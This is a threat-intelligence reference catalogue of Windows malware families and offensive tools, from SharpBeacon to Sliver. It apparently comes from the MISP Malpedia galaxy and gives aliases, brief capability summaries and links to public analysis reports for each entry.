https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf
https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/

SharpBeacon

NET reimplementation of Cobalt Strike beacon/stager

The tag is: *misp-galaxy:malpedia="SharpBeacon"*

SharpBeacon is also known as:

Table 5095. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpbeacon
https://github.com/mai1zhi2/SharpBeacon

SHARPKNOT

The tag is: *misp-galaxy:malpedia="SHARPKNOT"*

SHARPKNOT is also known as:

- Bitrep

Table 5096. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpknot
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf
https://eromang.zataz.com/tag/agentbase-exe/

SharpMapExec

This tool is made to simplify penetration testing of networks and to create a Swiss-army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.

The tag is: *misp-galaxy:malpedia="SharpMapExec"*

SharpMapExec is also known as:

Table 5097. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpmapexec
https://github.com/cube0x0/SharpMapExec

SharpStage

The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east.

The tag is: *misp-galaxy:malpedia="SharpStage"*

SharpStage is also known as:

- LastConn

Table 5098. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstage
https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/
https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

SHARPSTATS

The tag is: *misp-galaxy:malpedia="SHARPSTATS"*

SHARPSTATS is also known as:

Table 5099. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstats
https://documents.trendmicro.com/assets/white_papers/wp_new_muddywater_findings_uncovered.pdf

SharPyShell

SharPyShell is a tiny and obfuscated ASP.NET webshell that executes commands received by an encrypted channel compiling them in memory at runtime.

SharPyShell supports only C# web applications that runs on .NET Framework >= 2.0 VB is not supported atm.

The tag is: *misp-galaxy:malpedia="SharPyShell"*

SharPyShell is also known as:

- ASPSHELL

Table 5100. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpyshell
https://www.trendmicro.com/en_us/research/20/i/u-s—justice-department-charges-apt41-hackers-over-global-cyberattacks.html
https://github.com/antonioCoco/SharPyShell
https://go.recordedfuture.com/hubfs/reports/mtp-2021-1214.pdf
https://research.eye.security/sharepoint-under-siege/
https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html

SharpRhino

The tag is: *misp-galaxy:malpedia="SharpRhino"*

SharpRhino is also known as:

Table 5101. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sharp_rhino
https://www.trendmicro.com/vinfo/in/security/news/ransomware-spotlight/ransomware-spotlight-water-ouroboros
https://www.quorumcyber.com/insights/sharprhino-new-hunters-international-rat-identified-by-quorum-cyber/

SHATTEREDGLASS

Kaspersky Labs observed Andariel to drop this ransomware in one case within a series of attacks carried out against targets in South Korea in April 2021.

The tag is: *misp-galaxy:malpedia="SHATTEREDGLASS"*

SHATTEREDGLASS is also known as:

- Unidentified 081

Table 5102. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shatteredglass
https://cloud.google.com/blog/topics/threat-intelligence/apt45-north-korea-digital-military-machine
https://github.com/Hildaboo/Unidentified081Server
https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/

ShellClient RAT

The tag is: *misp-galaxy:malpedia="ShellClient RAT"*

ShellClient RAT is also known as:

- GhostShell

Table 5103. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shellclient

https://www.cybereason.com/blog/operation-ghostshell-novel-rat-targets-global-aerospace-and-telecoms-firms
https://www.microsoft.com/security/blog/2021/11/18/iranian-targeting-of-it-sector-on-the-rise/

ShellLocker

PCRIsk states that ShellLocker is a ransomware-type virus developed using .NET framework. It was first discovered by Jakub Kroustek and is virtually identical to another ransomware virus called Exotic.

Following infiltration, this virus encrypts stored data (video, audio, etc.) and renames encrypted files using the "[random_characters].L0cked" pattern (e.g., "sample.jpg" might be renamed to "gd&=AA0fgoi.L0cked"). Following successful encryption, ShellLocker opens a pop-up window containing ransom-demand message.

The tag is: *misp-galaxy:malpedia="ShellLocker"*

ShellLocker is also known as:

Table 5104. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shelllocker
https://twitter.com/JaromirHorejsi/status/813726714228604928

Sheriff

According to IBM X-Force, this is a modular backdoor that was used for targeting the defense sector of Ukraine. It uses the Dropbox API for C2 and data exfiltration.

The tag is: *misp-galaxy:malpedia="Sheriff"*

Sheriff is also known as:

Table 5105. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sheriff
https://www.ibm.com/think/news/x-force-discovers-new-sheriff-backdoor-target-ukraine

Shifu

Shifu was originally discovered by Trusteer security researchers (Ilya Kolmanovich, Denis Laskov) in the middle of 2015. It is a banking trojan mostly focusing on Japanese banks and has rich features for remote data extraction and control.

The tag is: *misp-galaxy:malpedia="Shifu"*

Shifu is also known as:

Table 5106. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shifu
https://intel471.com/blog/a-brief-history-of-ta505
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.virusbulletin.com/virusbulletin/2015/11/shifu-rise-self-destructive-banking-trojan
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
http://researchcenter.paloaltonetworks.com/2017/01/unit42-2016-updates-shifu-banking-trojan/

Shim RAT

The tag is: *misp-galaxy:malpedia="Shim RAT"*

Shim RAT is also known as:

Table 5107. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shimrat
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf
https://www.secureworks.com/research/threat-profiles/bronze-walker

SHIPSHAPE

SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.

The tag is: *misp-galaxy:malpedia="SHIPSHAPE"*

SHIPSHAPE is also known as:

Table 5108. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shipshape
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

ShortLeash (Windows)

According to STRIKE, ShortLeash is a custom backdoor used to create an ORB network. It generates unique, self-signed TLS certificates with spoofed metadata for each node. Analysis of these certificates revealed over 1000 active nodes globally and victimology supports attribution to China-Nexus APTs.

The tag is: *misp-galaxy:malpedia="ShortLeash (Windows)"*

ShortLeash (Windows) is also known as:

Table 5109. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shortleash
https://securityscorecard.com/wp-content/uploads/2025/06/LapDogs-STRIKE-Report-June-2025.pdf
https://blog.talosintelligence.com/uat-5918-targets-critical-infra-in-taiwan/

ShrinkLocker

The tag is: *misp-galaxy:malpedia="ShrinkLocker"*

ShrinkLocker is also known as:

Table 5110. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shrinklocker
https://www.cybertriage.com/blog/wmi-malware/
https://www.bitdefender.com/en-us/blog/businessinsights/shrinklocker-decryptor-from-friend-to-foe-and-back-again

Shujin

The tag is: *misp-galaxy:malpedia="Shujin"*

Shujin is also known as:

Table 5111. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin
https://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/

Shurk Steal

The tag is: *misp-galaxy:malpedia="Shurk Steal"*

Shurk Steal is also known as:

Table 5112. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shurk
https://www.pcrisk.com/removal-guides/21513-shurk-steal-malware

Shurl0ckr

The tag is: *misp-galaxy:malpedia="Shurl0ckr"*

Shurl0ckr is also known as:

Table 5113. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shurl0ckr
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/shurl0ckr-ransomware-as-a-service-peddled-on-dark-web-can-reportedly-bypass-cloud-applications

Shylock

The tag is: *misp-galaxy:malpedia="Shylock"*

Shylock is also known as:

- Caphaw

Table 5114. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.shylock
https://malwarereversing.wordpress.com/2011/09/27/debugging-injected-code-with-ida-pro/
https://www.virusbulletin.com/virusbulletin/2015/02/paper-pluginer-caphaw
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://securityintelligence.com/merchant-of-fraud-returns-shylock-polymorphic-financial-malware-infections-on-the-rise/
https://www.europol.europa.eu/newsroom/news/global-action-targeting-shylock-malware

https://www.welivesecurity.com/2013/02/25/caphaw-attacking-major-european-banks-with-webinject-plugin/
http://contagiodump.blogspot.com/2011/09/sept-21-greedy-shylock-financial.html
https://securityintelligence.com/shylocks-new-trick-evading-malware-researchers/
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://www.zscaler.com/blogs/security-research/new-wave-win32caphaw-attacks-threatlabz-analysis

SideTwist

The tag is: *misp-galaxy:malpedia="SideTwist"*

SideTwist is also known as:

Table 5115. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidetwist
https://nsfocusglobal.com/apt34-unleashes-new-wave-of-phishing-attack-with-variant-of-sidetwist-trojan/
https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/

SideWalk (Windows)

Shellcode-based malware family that according to ESET Research was likely written by the same authors as win.crosswalk.

The tag is: *misp-galaxy:malpedia="SideWalk (Windows)"*

SideWalk (Windows) is also known as:

- ScrambleCross

Table 5116. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewalk
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/earth-baku-returns
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware

https://documents.trendmicro.com/assets/white_papers/wp-earth-baku-an-apt-group-targeting-indo-pacific-countries.pdf

SideWinder (Windows)

The tag is: *misp-galaxy:malpedia="SideWinder (Windows)"*

SideWinder (Windows) is also known as:

Table 5117. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sidewinder
https://www.trendmicro.com/en_us/research/20/l/sidewinder-leverages-south-asian-territorial-issues-for-spear-ph.html
https://medium.com/@DCSO_CyTec/404-file-still-found-d52c3834084c
https://www.embeeresearch.io/advanced-guide-to-infrastructure-analysis-tracking-apt-sidewinder-domains/
https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf
https://ti.qianxin.com/blog/articles/the-recent-rattlesnake-apt-organized-attacks-on-neighboring-countries-and-regions/
https://s.tencent.com/research/report/659.html
https://s.tencent.com/research/report/479.html
https://otx.alienvault.com/pulse/5fd10760f9afb730d37c4742/
https://www.secrss.com/articles/26507
https://medium.com/@Sebdraven/apt-sidewinder-tricks-powershell-anti-forensics-and-execution-side-loading-5bc1a7e7c84c

SiennaBlue

Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.

The tag is: *misp-galaxy:malpedia="SiennaBlue"*

SiennaBlue is also known as:

- H0lyGh0st
- HolyLocker

Table 5118. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_blue

https://www.picussecurity.com/resource/h0lygh0st-north-korean-threat-group-strikes-back-with-new-ransomware
https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/
https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF
https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-040a

SiennaPurple

Ransomware used by threat actor group DEV-0530, attributed by MSTIC to North Korean origin.

The tag is: *misp-galaxy:malpedia="SiennaPurple"*

SiennaPurple is also known as:

- H0lyGh0st
- HolyLocker

Table 5119. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sienna_purple
https://www.picussecurity.com/resource/h0lygh0st-north-korean-threat-group-strikes-back-with-new-ransomware
https://www.microsoft.com/security/blog/2022/07/14/north-korean-threat-actor-targets-small-and-midsize-businesses-with-h0lygh0st-ransomware/
https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF
https://blogs.blackberry.com/en/2022/08/h0lygh0st-ransomware
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-040a

Sierra(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Sierra(Alfa,Bravo, ...)"*

Sierra(Alfa,Bravo, ...) is also known as:

- Destover

Table 5120. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.sierras
https://www.us-cert.gov/ncas/alerts/TA14-353A
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.anomali.com/blog/evidence-of-stronger-ties-between-north-korea-and-swift-banking-attacks
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware
https://app.box.com/s/xyyord0b806e6or2nh92coxw2areyyx4
https://brandefense.io/blog/apt-groups/lazarus-apt-group-apt38/
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
http://baesystemsai.blogspot.de/2016/05/cyber-heist-attribution.html
https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/

SiestaGraph

The tag is: *misp-galaxy:malpedia="SiestaGraph"*

SiestaGraph is also known as:

Table 5121. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siesta_graph
https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat
https://x.com/threatintel/status/1701259256199090217
https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns

Siggen6

The tag is: *misp-galaxy:malpedia="Siggen6"*

Siggen6 is also known as:

Table 5122. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siggen6

SigLoader

The tag is: *misp-galaxy:malpedia="SigLoader"*

SigLoader is also known as:

Table 5123. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sigloader
https://www.lac.co.jp/lacwatch/report/20201201_002363.html

sihost

The tag is: *misp-galaxy:malpedia="sihost"*

sihost is also known as:

Table 5124. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sihost
https://threatrecon.nshc.net/2019/12/03/threat-actor-targeting-hong-kong-activists/

Silence

According to PCrisk, Truebot, also known as Silence.Downloader, is a malicious program that has botnet and loader/injector capabilities. This malware can add victims' devices to a botnet and cause chain system infections (i.e., download/install additional malicious programs/components).

There is significant variation in Truebot’s infection chains and distribution. It is likely that the attackers using this malicious software will continue to make such changes.

The tag is: *misp-galaxy:malpedia="Silence"*

Silence is also known as:

- TrueBot

Table 5125. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silence

https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/

http://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/

https://norfolkinfosec.com/how-the-silence-downloader-has-evolved-over-time/

https://securityintelligence.com/posts/x-force-prevents-zero-day-from-going-anywhere

https://reaqta.com/2019/01/silence-group-targeting-russian-banks/

https://norfolkinfosec.com/some-notes-on-the-silence-proxy/

https://malware.love/malware_analysis/reverse_engineering/2023/03/31/analyzing-truebot-capabilities.html

https://thedfirreport.com/2023/06/12/a-truly-graceful-wipe-out/

https://www.group-ib.com/resources/threat-research/silence.html

http://www.intezer.com/silenceofthemoles/

https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672

https://www.intrinsec.com/wp-content/uploads/2025/10/TLP-CLEAR-31072025-ShadowSyndicate-infrastructure-illumination-EN.pdf

https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf

https://www.huntress.com/blog/investigating-intrusions-from-intriguing-exploits

https://malware.love/malware_analysis/reverse_engineering/2023/02/12/analyzing-truebot-packer.html

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/using-qiling-framework-to-unpack-ta505-packed-samples/

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-187a

https://outpost24.com/blog/using-qiling-framework-to-unpack-ta505-packed-samples/

https://www.youtube.com/watch?v=FttiysUZmDw

https://blogs.vmware.com/security/2023/06/carbon-blacks-truebot-detection.html

https://securelist.com/the-silence/83009/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-004.pdf

https://malware.love/malware_analysis/reverse_engineering/config_extraction/2023/07/13/truebot-config-extractor.html

https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf

https://github.com/Tera0017/TAFOF-Unpacker

https://malware.love/malware_analysis/reverse_engineering/2023/02/18/analyzing-truebot-static-unpacking.html

https://research.loginsoft.com/threat-research/taming-the-storm-understanding-and-mitigating-the-consequences-of-cve-2023-27350/

SilentGh0st

The tag is: *misp-galaxy:malpedia="SilentGh0st"*

SilentGh0st is also known as:

Table 5126. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silentgh0st
https://www.bleepingcomputer.com/news/security/unfading-sea-haze-hackers-hide-on-military-and-govt-networks-for-6-years/
https://www.bitdefender.com/blog/businessinsights/deep-dive-into-unfading-sea-haze-a-new-threat-actor-in-the-south-china-sea/

SILENTUPLOADER

According to Mandiant, SILENTUPLOADER is an uploader written in MSIL that is dropped by DOSTEALER and is designed to work specifically in tandem with it. It checks for files in a specified folder every 30 seconds and uploads them to a remote server.

The tag is: *misp-galaxy:malpedia="SILENTUPLOADER"*

SILENTUPLOADER is also known as:

Table 5127. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silentuploader
https://www.mandiant.com/media/17826
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

SilentSweeper

The tag is: *misp-galaxy:malpedia="SilentSweeper"*

SilentSweeper is also known as:

Table 5128. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silent_sweeper
https://www.seqrite.com/blog/operation-peek-a-baku-silent-lynx-apt-dushanbe-espionage/

Silon

The tag is: *misp-galaxy:malpedia="Silon"*

Silon is also known as:

Table 5129. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.silon
http://contagiodump.blogspot.com/2009/11/new-banking-trojan-w32silon-msjet51dll.html
http://www.internetnews.com/security/article.php/3846186/TwoHeaded+Trojan+Targets+Online+Banks.htm

Siluhdur

The tag is: *misp-galaxy:malpedia="Siluhdur"*

Siluhdur is also known as:

Table 5130. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.siluhdur

Simda

The tag is: *misp-galaxy:malpedia="Simda"*

Simda is also known as:

- iBank

Table 5131. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.simda
https://estr3llas.github.io/unveiling-custom-packers-a-comprehensive-guide/
https://web.archive.org/web/20150619155915/https://blog.trendmicro.com/trendlabs-security-intelligence/simda-a-botnet-takedown/
https://www.youtube.com/watch?v=u2HEGDzd8KM
https://blog.trendmicro.com/trendlabs-security-intelligence/simda-a-botnet-takedown/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://bin.re/blog/the-dga-of-simda-shiz/

https://secrary.com/ReversingMalware/iBank/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.sonicwall.com/blog/simda-process-injection-into-winlogon-dga-found

SimpleFileMover

The tag is: *misp-galaxy:malpedia="SimpleFileMover"*

SimpleFileMover is also known as:

Table 5132. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.simplefilemover
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

Sinowal

The tag is: *misp-galaxy:malpedia="Sinowal"*

Sinowal is also known as:

- Anserin
- Mebroot
- Quarian
- Theola
- Torpig

Table 5133. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2008-010718-3448-99&tabid=2
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html
https://en.wikipedia.org/wiki/Torpig
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf

https://www.welivesecurity.com/2013/03/13/how-theola-malware-uses-a-chrome-plugin-for-banking-fraud/
https://www.virusbulletin.com/virusbulletin/2014/06/sinowal-banking-trojan
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.recordedfuture.com/turla-apt-infrastructure/

Sisfader

The tag is: *misp-galaxy:malpedia="Sisfader"*

Sisfader is also known as:

Table 5134. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/june/cve-2017-8750-rtf-and-the-sisfader-rat/
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html
https://medium.com/@Sebdraven/gobelin-panda-against-the-bears-1f462d00e3a4

Skimer

The tag is: *misp-galaxy:malpedia="Skimer"*

Skimer is also known as:

Table 5135. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skimer
http://atm.cybercrime-tracker.net/index.php
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

SkinnyBoy

The tag is: *misp-galaxy:malpedia="SkinnyBoy"*

SkinnyBoy is also known as:

Table 5136. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.skinnyboy
https://cybergeeks.tech/skinnyboy-apt28/
https://cluster25.io/wp-content/uploads/2021/05/2021-05_FancyBear.pdf

skip-2.0

A Microsoft SQL Server backdoor

The tag is: *misp-galaxy:malpedia="skip-2.0"*

skip-2.0 is also known as:

Table 5137. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skip20
https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/

Skipper

The tag is: *misp-galaxy:malpedia="Skipper"*

Skipper is also known as:

- Kotel

Table 5138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper
https://pdfhost.io/v/F0@QElMu2_MacProStorage_2017FinalBitdefenderWhitepaperNetrepserA4en_ENBitdefenderWhitepaperNetrepserA4en_ENindd.pdf
https://www.secureworks.com/research/threat-profiles/iron-hunter
https://blog.telsy.com/following-the-turlas-skipper-over-the-ocean-of-cyber-operations/
https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/
https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender-Whitepaper-PAC-A4-en_EN1.pdf
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

Skuld

Skuld, also known as TMPN Stealer, is an information-stealing malware written in Golang (Go) that emerged in May 2023.

The tag is: *misp-galaxy:malpedia="Skuld"*

Skuld is also known as:

- TMPN

Table 5139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skuld
https://cyble.com/blog/hexalocker-v2-being-proliferated-by-skuld-stealer/
https://www.trellix.com/blogs/research/skuld-the-infostealer-that-speaks-golang/
https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
https://www.acronis.com/en-sg/cyber-protection-center/posts/tmpn-skuld-stealer-the-dark-side-of-open-source
https://github.com/hackirby/skuld

Skynet

The tag is: *misp-galaxy:malpedia="Skynet"*

Skynet is also known as:

Table 5140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skynet
https://research.checkpoint.com/2025/ai-evasion-prompt-injection/

Skyplex

The tag is: *misp-galaxy:malpedia="Skyplex"*

Skyplex is also known as:

Table 5141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.skyplex

Slam

Ransomware.

The tag is: *misp-galaxy:malpedia="Slam"*

Slam is also known as:

Table 5142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slam
https://www.sentinelone.com/blog/from-the-front-lines-slam-anatomy-of-a-publicly-available-ransomware-builder/

Slave

The tag is: *misp-galaxy:malpedia="Slave"*

Slave is also known as:

Table 5143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slave
https://www.cert.pl/en/news/single/slave-banatrix-and-ransomware/

SLICKSHOES

The tag is: *misp-galaxy:malpedia="SLICKSHOES"*

SLICKSHOES is also known as:

Table 5144. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slickshoes
https://www.us-cert.gov/ncas/analysis-reports/ar20-045b
https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/

SLIMAGENT

According to CERT-UA, this is a malware developed using the C++ programming language. The main functional purpose is the production of screenshots.

The tag is: *misp-galaxy:malpedia="SLIMAGENT"*

SLIMAGENT is also known as:

Table 5145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slimagent
https://cert.gov.ua/article/6284080
https://blog.sekoia.io/apt28-operation-phantom-net-voxel/

Slingshot

- 2012 first sighted
- Attack vector via compromised Mikrotik routers where victims get infection when they connect to Mikrotik router admin software - Winbox
- 2018 when discovered by Kaspersky Team

Infection Vector - Infected Mikrotik Router > Malicious DLL (IP4.dll) in Router > User connect via winbox > Malicious DLL downloaded on computer

The tag is: *misp-galaxy:malpedia="Slingshot"*

Slingshot is also known as:

Table 5146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.slingshot
https://securelist.com/apt-slingshot/84312/
https://www.cyberscoop.com/kaspersky-slingshot-isis-operation-socom-five-eyes/
https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf
https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/

SlipScreen

According to Proofpoint, SlipScreen is a first stage loader and has variants written in Rust and in C++. Its crypter is updated for each campaign, making static detection difficult.

The tag is: *misp-galaxy:malpedia="SlipScreen"*

SlipScreen is also known as:

Table 5147. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.slip_screen
https://www.proofpoint.com/us/blog/threat-insight/10-things-i-hate-about-attribution-romcom-vs-transferloader

Sliver

According to VK9 Seecurity, Sliver is a Command and Control (C2) system made for penetration testers, red teams, and advanced persistent threats. It generates implants (slivers) that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, TCP, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.

The tag is: *misp-galaxy:malpedia="Sliver"*

Sliver is also known as:

Table 5148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sliver
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f
https://github.com/BishopFox/sliver
https://sysdig.com/blog/unc5174-chinese-threat-actor-vshell/
https://team-cymru.com/blog/2022/04/29/sliver-case-study-assessing-common-offensive-security-tools/
https://unit42.paloaltonetworks.com/north-korean-threat-group-play-ransomware/
https://blog.cluster25.duskrise.com/2024/01/30/russian-apt-opposition
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://attack.mitre.org/groups/G1021/
https://insights.bridewell.com/hubfs/Cyber%20Threat%20Intelligence%20Report%202025.pdf
